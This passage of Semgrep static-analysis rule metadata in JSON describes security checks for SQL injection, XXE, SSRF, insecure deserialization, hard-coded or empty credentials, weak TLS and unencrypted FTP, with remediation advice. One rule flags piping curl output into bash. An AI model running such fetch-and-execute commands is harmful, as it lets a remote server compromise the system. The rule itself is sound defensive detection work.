[https://stackoverflow.com/questions/26504653/is-it-possible-to-disable-sslv3-for-all-java-applications](https://stackoverflow.com/questions/26504653/is-it-possible-to-disable-sslv3-for-all-java-applications)\n","text":"Detects setting client protocols to insecure versions of TLS and SSL. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2","id":"problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2","name":"problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password","id":"python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password","name":"python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `compileScript` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `compileScript` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection)\n - [https://github.com/cyrus-and/chrome-remote-interface](https://github.com/cyrus-and/chrome-remote-interface)\n","text":"If unverified user data can reach the `compileScript` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection","id":"javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection","name":"javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.chrome-remote-interface.security.audit.chrome-remote-interface-compilescript-injection.chrome-remote-interface-compilescript-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n - [https://db.apache.org/jdo/api30/apidocs/javax/jdo/PersistenceManagerFactory.html](https://db.apache.org/jdo/api30/apidocs/javax/jdo/PersistenceManagerFactory.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password","id":"java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password","name":"java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret","id":"go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret","name":"go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.mysql.mysql-hardcoded-secret.mysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.java-sql-sqli.java-sql-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.java-sql-sqli.java-sql-sqli","id":"java.spring.security.java-sql-sqli.java-sql-sqli","name":"java.spring.security.java-sql-sqli.java-sql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.java-sql-sqli.java-sql-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda","id":"python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda","name":"python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-marshal-aws-lambda.tainted-marshal-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri","id":"java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri","name":"java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedis-hardcoded-uri.jedis-hardcoded-uri"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'urllib.urlopen()' using 'ftp://'. This request will not be encrypted. Consider using SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP."},"help":{"markdown":"Detected 'urllib.urlopen()' using 'ftp://'. This request will not be encrypted. Consider using SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.urlopen](https://docs.python.org/3/library/urllib.request.html#urllib.request.urlopen)\n","text":"Detected 'urllib.urlopen()' using 'ftp://'. This request will not be encrypted. Consider using SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopen-ftp.insecure-urlopen-ftp"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The 'FTP' class sends information unencrypted. Consider using the 'FTP_TLS' class instead."},"help":{"markdown":"The 'FTP' class sends information unencrypted. Consider using the 'FTP_TLS' class instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls)\n - [https://docs.python.org/3/library/ftplib.html#ftplib.FTP_TLS](https://docs.python.org/3/library/ftplib.html#ftplib.FTP_TLS)\n","text":"The 'FTP' class sends information unencrypted. Consider using the 'FTP_TLS' class instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls","id":"python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls","name":"python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.ftplib.use-ftp-tls.use-ftp-tls"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet","id":"java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet","name":"java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-documentbuilderfactory-xxe-servlet.tainted-documentbuilderfactory-xxe-servlet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password","id":"ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password","name":"ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mongo.ruby-mongo-empty-password.ruby-mongo-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data is being piped into `bash` from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the pipe, resulting in a system compromise. Avoid piping untrusted data into `bash` or any other shell if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"help":{"markdown":"Data is being piped into `bash` from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the pipe, resulting in a system compromise. Avoid piping untrusted data into `bash` or any other shell if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/bash.curl.security.curl-pipe-bash.curl-pipe-bash)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Data is being piped into `bash` from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the pipe, resulting in a system compromise. Avoid piping untrusted data into `bash` or any other shell if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"helpUri":"https://semgrep.dev/r/bash.curl.security.curl-pipe-bash.curl-pipe-bash","id":"bash.curl.security.curl-pipe-bash.curl-pipe-bash","name":"bash.curl.security.curl-pipe-bash.curl-pipe-bash","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: bash.curl.security.curl-pipe-bash.curl-pipe-bash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A parameter being passed directly into `Http` can likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"A parameter being passed directly into `Http` can likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/scalaj/scalaj-http#simplified-http](https://github.com/scalaj/scalaj-http#simplified-http)\n","text":"A parameter being passed directly into `Http` can likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf","id":"scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf","name":"scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.scalaj-http-ssrf.scalaj-http-ssrf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"'$VAR' is the empty string and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the password to None or call 'set_unusable_password()'."},"help":{"markdown":"'$VAR' is the empty string and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the password to None or call 'set_unusable_password()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.passwords.password-empty-string.password-empty-string)\n - [https://docs.djangoproject.com/en/3.0/ref/contrib/auth/#django.contrib.auth.models.User.set_password](https://docs.djangoproject.com/en/3.0/ref/contrib/auth/#django.contrib.auth.models.User.set_password)\n","text":"'$VAR' is the empty string and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the password to None or call 'set_unusable_password()'."},"helpUri":"https://semgrep.dev/r/python.django.security.passwords.password-empty-string.password-empty-string","id":"python.django.security.passwords.password-empty-string.password-empty-string","name":"python.django.security.passwords.password-empty-string.password-empty-string","properties":{"precision":"very-high","tags":["CWE-521: Weak Password Requirements","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.passwords.password-empty-string.password-empty-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret","id":"javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret","name":"javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jsonwebtoken.security.jwt-hardcode.hardcoded-jwt-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'input_line' leaves a '\\r' (CR) character when reading lines from a Windows text file, whose lines end in 